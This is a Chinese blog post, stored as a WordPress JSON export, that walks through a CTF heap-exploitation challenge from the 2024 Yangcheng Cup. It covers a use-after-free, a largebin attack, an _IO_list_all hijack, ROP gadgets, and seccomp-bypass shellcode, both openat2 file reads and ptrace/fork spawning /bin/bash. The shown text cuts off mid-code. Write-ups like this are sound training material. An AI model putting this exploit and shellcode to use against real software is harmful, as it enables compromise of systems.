{"id":295,"date":"2024-09-06T22:29:10","date_gmt":"2024-09-06T14:29:10","guid":{"rendered":"http:\/\/39.104.51.85\/?p=295"},"modified":"2024-09-06T22:45:27","modified_gmt":"2024-09-06T14:45:27","slug":"2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89","status":"publish","type":"post","link":"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/","title":{"rendered":"2024\u7f8a\u57ce\u676fsandbox\uff08\u7981\u7528open\u548copenat\uff09"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_69_1 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >\u5185\u5bb9<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/#%E9%A2%98%E7%9B%AE%E5%88%86%E6%9E%90\" title=\"\u9898\u76ee\u5206\u6790\">\u9898\u76ee\u5206\u6790<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/#%E6%80%9D%E8%B7%AF%E5%88%86%E6%9E%90\" title=\"\u601d\u8def\u5206\u6790\">\u601d\u8def\u5206\u6790<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/#%E5%85%B7%E4%BD%93%E6%89%93%E6%B3%95\" title=\"\u5177\u4f53\u6253\u6cd5\">\u5177\u4f53\u6253\u6cd5<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/#openat2%E6%89%93%E6%B3%95\" title=\"openat2\u6253\u6cd5\">openat2\u6253\u6cd5<\/a><ul class='ez-toc-list-level-5' ><li class='ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/#1%E6%9E%84%E9%80%A0ROP%E9%93%BE\" title=\"1.\u6784\u9020ROP\u94fe\">1.\u6784\u9020ROP\u94fe<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/#2mprotectshellcode\" title=\"2.mprotect+shellcode\">2.mprotect+shellcode<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/#ptrace%E6%89%93%E6%B3%95\" title=\"ptrace\u6253\u6cd5\">ptrace\u6253\u6cd5<\/a><ul class='ez-toc-list-level-5' ><li class='ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/#1%E7%9B%B4%E6%8E%A5orw\" title=\"1.\u76f4\u63a5orw\">1.\u76f4\u63a5orw<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/#2%E7%9B%B4%E6%8E%A5getshell\" title=\"2.\u76f4\u63a5getshell\">2.\u76f4\u63a5getshell<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/#%E5%AE%8C%E6%95%B4payload\" title=\"\u5b8c\u6574payload\">\u5b8c\u6574payload<\/a><ul class='ez-toc-list-level-5' ><li class='ez-toc-heading-level-5'><ul class='ez-toc-list-level-5' ><li class='ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/#1openat2rop\" title=\"1.openat2+rop\">1.openat2+rop<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/#2openat2shellcode\" title=\"2.openat2+shellcode\">2.openat2+shellcode<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/#3ptraceorw\" title=\"3.ptrace+orw\">3.ptrace+orw<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-5'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/09\/06\/2024%e7%be%8a%e5%9f%8e%e6%9d%afsandbox%ef%bc%88%e7%a6%81%e7%94%a8open%e5%92%8copenat%ef%bc%89\/#4ptraceexecve\" title=\"4.ptrace+execve\">4.ptrace+execve<\/a><\/li><\/ul><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E9%A2%98%E7%9B%AE%E5%88%86%E6%9E%90\"><\/span>\u9898\u76ee\u5206\u6790<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/09\/image.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"743\" height=\"761\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/09\/image.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-296\"  sizes=\"(max-width: 743px) 100vw, 743px\" \/><\/div><\/figure>\n\n\n\n<p>\u589e\u5220\u6539\u67e5\u90fd\u6709\uff0c\u5b58\u5728uaf\uff0c\u53ef\u4ee5\u76f4\u63a5largebin attack<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/09\/image-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"672\" height=\"856\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/09\/image-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-297\"  sizes=\"(max-width: 672px) 100vw, 672px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/09\/image-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"623\" height=\"483\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/09\/image-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-298\"  sizes=\"(max-width: 623px) 100vw, 623px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/09\/image-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"790\" height=\"612\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/09\/image-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-299\"  sizes=\"(max-width: 790px) 100vw, 790px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/09\/image-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"620\" height=\"516\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/09\/image-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-300\"  sizes=\"(max-width: 620px) 100vw, 620px\" \/><\/div><\/figure>\n\n\n\n<p>\u7981\u7528\u4e86open\uff0copenat\uff0cexecve\u7b49<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/09\/image-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1012\" height=\"359\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/09\/image-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-301\"  sizes=\"(max-width: 1012px) 100vw, 1012px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%80%9D%E8%B7%AF%E5%88%86%E6%9E%90\"><\/span>\u601d\u8def\u5206\u6790<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>largebin attack\u4e4b\u540e\u628a_IO_list_all\u6539\u6210\u5806\u5730\u5740\uff0c\u63a5\u7740\u6253\u4e00\u4e2aapple2\u5373\u53ef\u52ab\u6301\u7a0b\u5e8f\u63a7\u5236\u6d41\uff0c\u4f46\u662f\u7531\u4e8e\u7a0b\u5e8f\u7981\u7528\u4e86open\u548copenat2\uff0c\u6240\u4ee5\u5e38\u89c4\u7684orw\u4e0d\u80fd\u7528\uff0c\u6545\u4e00\u4e0b\u6709\u4e24\u4e2a\u601d\u8def<\/p>\n\n\n\n<p>1.\u5229\u7528openat2\u7cfb\u7edf\u8c03\u7528\u4ee3\u66ffopen\uff0c\u8c03\u7528\u53f7\u4e3a437,\u5176\u51fd\u6570\u539f\u578b\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>    ssize_t openat2(int dfd, const char* filename, struct open_how* how, size_t usize);<\/code><\/pre>\n\n\n\n<p>\u8fd9\u4e2a\u51fd\u6570\u5c01\u88c5\u4e86\u4e09\u4e2a\u53c2\u6570\u5230\u7ed3\u6784\u4f53<code>how<\/code>\u4e2d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>struct open_how {\n\t__u64 flags;\n\t__u64 mode;\n\t__u64 resolve;\n};<\/code><\/pre>\n\n\n\n<p>\u5b9e\u9645\u4f7f\u7528\u7684\u65f6\u5019\u8981\u628adfd\u8bbe\u7f6e\u6210-100\uff0c\u56e0\u4e3a\u51fd\u6570\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570<code>dfd<\/code>\u6307\u7684\u662f\u5f53<code>path<\/code>\u4e3a\u76f8\u5bf9\u8def\u5f84\u65f6\uff0c\u8be5\u8def\u5f84\u5728\u6587\u4ef6\u7cfb\u7edf\u4e2d\u7684\u5f00\u59cb\u5730\u5740\uff08\u5373\u6253\u5f00\u76ee\u5f55\u83b7\u53d6\u7684\u6587\u4ef6\u63cf\u8ff0\u7b26\uff09\uff0c\u4f46\u53ef\u4ee5\u6307\u5b9a\u5176\u4e3a<code>AT_FDCWD<\/code>(-100)\uff0c\u6307\u5b9a\u8def\u5f84\u4e3a\u5f53\u524d\u8def\u5f84\u3002<\/p>\n\n\n\n<p>filename\u8bbe\u7f6e\u6210flagaddr\uff0chow\u8bbe\u7f6e\u6210\u4e00\u4e2a\u53ef\u63a7\u5730\u5740\uff0c\u5e76\u628ahow\u91cc\u9762\u7684flags\uff0cmode\uff0cresolve\u90fd\u8bbe\u7f6e\u62100\uff08\u81f3\u4e8e\u539f\u56e0\u4e0d\u662f\u7279\u522b\u61c2\uff0c\u8c03\u51fa\u6765\u7684\uff09<\/p>\n\n\n\n<p>\u53c2\u6570<code>size<\/code>\u5fc5\u987b\u4e3a\u7ed3\u6784\u4f53<code>open_how<\/code>\u7684\u5927\u5c0f\uff0c\u4e5f\u5c31\u662f<code>0x18<\/code>\u3002<\/p>\n\n\n\n<p>\u9644\u4e00\u6bb5shellcode\uff0c\u662f\u5229\u7528\u4e86openat2\u7684orwpayload<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>shellcode = asm(\"\"\"\n    mov rax, 0x67616c66\n    push rax\n    xor rdi, rdi\n    sub rdi, 100\n    mov rsi, rsp\n    push 0\n    push 0\n    push 0\n    mov rdx, rsp\n    mov r10, 0x18\n    push SYS_openat2\n    pop rax\n    syscall\n    mov rdi,rax\n    mov rsi,rsp\n    mov edx,0x100\n    xor eax,eax\n    syscall\n    mov edi,1\n    mov rsi,rsp\n    push 1\n    pop rax\n    syscall \n\"\"\")<\/code><\/pre>\n\n\n\n<p>\u4e0d\u8fc7\u5229\u7528\u8fd9\u4e2a\u65b9\u6cd5\u6709\u4e2a\u5f0a\u7aef\uff0c\u90a3\u5c31\u662fopenat2\u51fd\u6570\u662f\u5728<code>kernel 5.6<\/code>\u00a0\u624d\u5f15\u5165\u7684\uff0c\u56e0\u6b64\u5728\u8f83\u4f4e\u7684\u5185\u6838\u65e0\u6cd5\u7528openat2\u6253\u5f00<\/p>\n\n\n\n<p>2.\u4f7f\u7528ptrace\u53bbhook->seccomp<\/p>\n\n\n\n<p>\u81f3\u4e8e\u539f\u7406\uff0c\u5b8c\u5168\u4e0d\u61c2\uff0c\u53ea\u4f1a\u7528\u4e00\u5957\u677f\u5b50<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>order2 = b'h\\x00'&#91;::-1].hex()\norder1 = b'\/bin\/bas'&#91;::-1].hex()\nshellcode = asm(f\"\"\"\n_start:\n    \/* Step 1: fork a new process *\/\n    mov rax, 57             \/* syscall number for fork (on x86_64) *\/\n    syscall                 \/* invoke fork() *\/\n    test rax, rax           \/* check if return value is 0 (child) or positive (parent) *\/\n    js _exit                \/* if fork failed, exit *\/\n    \/* Step 2: If parent process, attach to child process *\/\n    cmp rax, 0              \/* are we the child process? *\/\n    je child_process        \/* if yes, jump to child_process *\/\nparent_process:\n    \/* Store child PID *\/\n    mov r8,rax\n    mov rsi, r8            \/* rdi = child PID *\/\n    \/* Attach to child process *\/\n    mov rax, 101            \/* syscall number for ptrace *\/\n    mov rdi, 0x10           \/* PTRACE_ATTACH *\/\n    xor rdx, rdx            \/* no options *\/\n    xor r10, r10            \/* no data *\/\n    syscall                 \/* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) *\/\nmonitor_child:\n    \/* Wait for the child to stop *\/\n    \n    mov rdi, r8            \/* rdi = child PID *\/\n    mov rsi, rsp            \/*  no status*\/\n    xor rdx, rdx            \/* no options *\/\n    xor r10, r10            \/* no rusage *\/\n    mov rax, 61             \/* syscall number for wait4 *\/\n    syscall                 \/* invoke wait4() *\/\n    \/* Set ptrace options *\/\n    mov rax, 110\n    syscall    \n    mov rdi, 0x4200         \/* PTRACE_SETOPTIONS *\/\n    mov rsi, r8            \/* rsi = child PID *\/\n    xor rdx, rdx            \/* no options *\/\n    mov r10, 0x00000080     \/* PTRACE_O_TRACESECCOMP *\/\n    mov rax, 101            \/* syscall number for ptrace *\/\n    syscall                 \/* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) *\/\n    \/* Allow the child process to continue *\/\n    mov rax, 110\n    syscall\n    \n    mov rdi, 0x7            \/* PTRACE_CONT *\/\n    mov rsi, r8            \/* rsi = child PID *\/\n    xor rdx, rdx            \/* no options *\/\n    xor r10, r10            \/* no data *\/\n    mov rax, 101            \/* syscall number for ptrace *\/\n    syscall                 \/* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) *\/\n    \/* Loop to keep monitoring the child *\/\n    jmp monitor_child\nchild_process:\n    \/* Child process code here *\/\n    \/* For example, we could execute a shell or perform other actions *\/\n    \/* To keep it simple, let's just execute `\/bin\/sh` *\/\n                \n    \/* sleep(5) *\/\n    \/* push 0 *\/\n    push 1\n    dec byte ptr &#91;rsp]\n    \/* push 5 *\/\n    push 5\n    \/* nanosleep(requested_time='rsp', remaining=0) *\/\n    mov rdi, rsp\n    xor esi, esi \/* 0 *\/\n    \/* call nanosleep() *\/\n    push SYS_nanosleep \/* 0x23 *\/\n    pop rax\n    syscall\n    mov rax, 0x{order2}  \/* \"\/bin\/sh\" *\/\n    push rax\n    mov rax, 0x{order1}  \/* \"\/bin\/sh\" *\/\n    push rax\n    mov rdi, rsp    \n    mov rsi, 0\n    xor rdx, rdx\n    mov rax, 59             \/* syscall number for execve *\/\n    syscall\n    jmp child_process\n_exit:\n    \/* Exit the process *\/\n    mov rax, 60             \/* syscall number for exit *\/\n    xor rdi, rdi            \/* status 0 *\/\n    syscall\n\"\"\")<\/code><\/pre>\n\n\n\n<p>\u8dd1\u4e00\u4e0b\u8fd9\u6bb5shellcode\uff0c\u5c31\u53ef\u4ee5\u5728\u5b50\u8fdb\u7a0b\u5185\u5173\u95ed\u6c99\u7bb1\uff0c\u81f3\u4e8e\u5982\u4f55\u624d\u80fd\u8dd1shellcode\uff1f\u8c03\u7528mprotect\u90a3\u4e00\u5957\u4e0d\u591a\u8d58\u8ff0<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%85%B7%E4%BD%93%E6%89%93%E6%B3%95\"><\/span>\u5177\u4f53\u6253\u6cd5<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u524d\u671f\u7684\u6253\u6cd5\u662f\u4e00\u6837\u7684\uff0c\u53ea\u6709\u5728\u52ab\u6301\u7a0b\u5e8f\u63a7\u5236\u6d41\u4e4b\u540e\uff0c\u4e0a\u8ff0\u4e24\u79cd\u65b9\u6cd5\u624d\u6709\u533a\u522b\uff0c\u6240\u4ee5\u5728\u8fd9\u91cc\u4e00\u5757\u8bb2\u4e86largebin attack\u7684\u90e8\u5206<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>add(0,0x600)\nadd(1,0x610)\nadd(2,0x610)\nadd(3,0x610)\nadd(4,0x600)\nadd(5,0x600)\ndelete(1)\ndelete(3)\nshow(1)\nlibcbase=p.uu64()-0x21ace0+0x024020\nshow(3)\nheapbase=p.uu64()-0x8a0\nprint('libcbase',hex(libcbase))\nprint('heapbase',hex(heapbase))<\/code><\/pre>\n\n\n\n<p>\u5148\u628alibc\u548cheap\u6cc4\u9732\u51fa\u6765\uff0c\u8fd9\u91cc\u4e0d\u591a\u8bf4\uff0c\u6bd4\u8f83\u7b80\u5355<\/p>\n\n\n\n<p>\u63a5\u7740\u5229\u7528UAF\u6f0f\u6d1e\uff0c\u5bf9\u5df2\u91ca\u653e\u7684\u5806\u5757\u8fdb\u884cedit\u64cd\u4f5c\uff0c\u4fee\u6539bk_nextsize\uff0c\u5b9e\u73b0largebin attack<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>add(5,0x620)\n# p.debug()\nfd=0x14f0+heapbase\nbk=0x1f7130+libcbase\nadd(6,0x610)\ndelete(4)\nedit(1,p64(fd)+p64(bk)+p64(0)+p64(libcbase+libc.symbols&#91;'_IO_list_all']-0x20))\nadd(7,0x640)<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u4e5f\u4e0d\u591a\u8d58\u8ff0<\/p>\n\n\n\n<p>\u5728\u505a\u4e00\u4e9b\u524d\u671f\u7684\u6570\u636e\u51c6\u5907\uff0c\u51c6\u5907\u8d70\u4f20\u7edf\u7684apple2\u6253\u6cd5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>_IO_file_jumps=libcbase+libc.symbols&#91;'_IO_file_jumps']\n_IO_wfile_jumps=libcbase+libc.symbols&#91;'_IO_wfile_jumps']\npayloadbase=heapbase+0x1b00\nchain=payloadbase+0x100\ngadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr &#91;rdi + 0x38] ; call qword ptr &#91;rax + 0x10]\ngadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr &#91;rax + 0x38] ; mov rdi, rax ; call qword ptr &#91;rdx + 0x20]\nflagaddr=payloadbase+0x400\nf2=IO_FILE_plus_struct()\nf2._IO_read_base=gadget2\nf2._IO_write_ptr=1\nf2._IO_buf_end=payloadbase+0x200\nf2._IO_buf_base=payloadbase+8\nf2._flags2 = 8\nf2._mode = 0\nf2._wide_data = payloadbase+0x100\nf2.vtable = _IO_wfile_jumps\nrop=ROP(libc)\npop_r12 = rop.find_gadget(&#91;'pop r12', 'ret']).address + libcbase\npop_rsi = rop.find_gadget(&#91;'pop rsi', 'ret']).address + libcbase\npop_rdi = rop.find_gadget(&#91;'pop rdi', 'ret']).address + libcbase\npop_rax = rop.find_gadget(&#91;'pop rax', 'ret']).address + libcbase\npop_r12_r13 = rop.find_gadget(&#91;'pop r12', 'pop r13', 'ret']).address + libcbase\npop_rax_rdx_rbx = rop.find_gadget(&#91;'pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase\nsyscall = rop.find_gadget(&#91;'syscall', 'ret']).address + libcbase\nsetcontextaddr = libc.symbols&#91;'setcontext'] + 61 + libcbase\nrsp=payloadbase+0x300\n<\/code><\/pre>\n\n\n\n<p>\u53e6\u5916\uff0c\u6211\u4eec\u8981\u5173\u6ce8\u51e0\u6bb5magic gadget\uff0c\u56e0\u4e3a\u672c\u9898\u6ca1\u6709<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mov rdx,&#91;rdi+8]\nmov &#91;rsp],rax\ncall &#91;rdx+0x20]<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5\u6211\u4eec\u9700\u8981\u91cd\u65b0\u627emagic gadget\u6765\u63a7\u5236\u7a0b\u5e8f\u6d41\uff0c\u5f88\u663e\u7136\u4e00\u4e2agadget\u662f\u4e0d\u591f\u7528\u7684\uff0c\u8fd9\u91cc\u6211\u4eec\u627e\u4e86\u4e24\u6bb5magic gadget<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gadget1=libcbase+0x00000000001565ca#0x00000000001565ca : mov rax, qword ptr &#91;rdi + 0x38] ; call qword ptr &#91;rax + 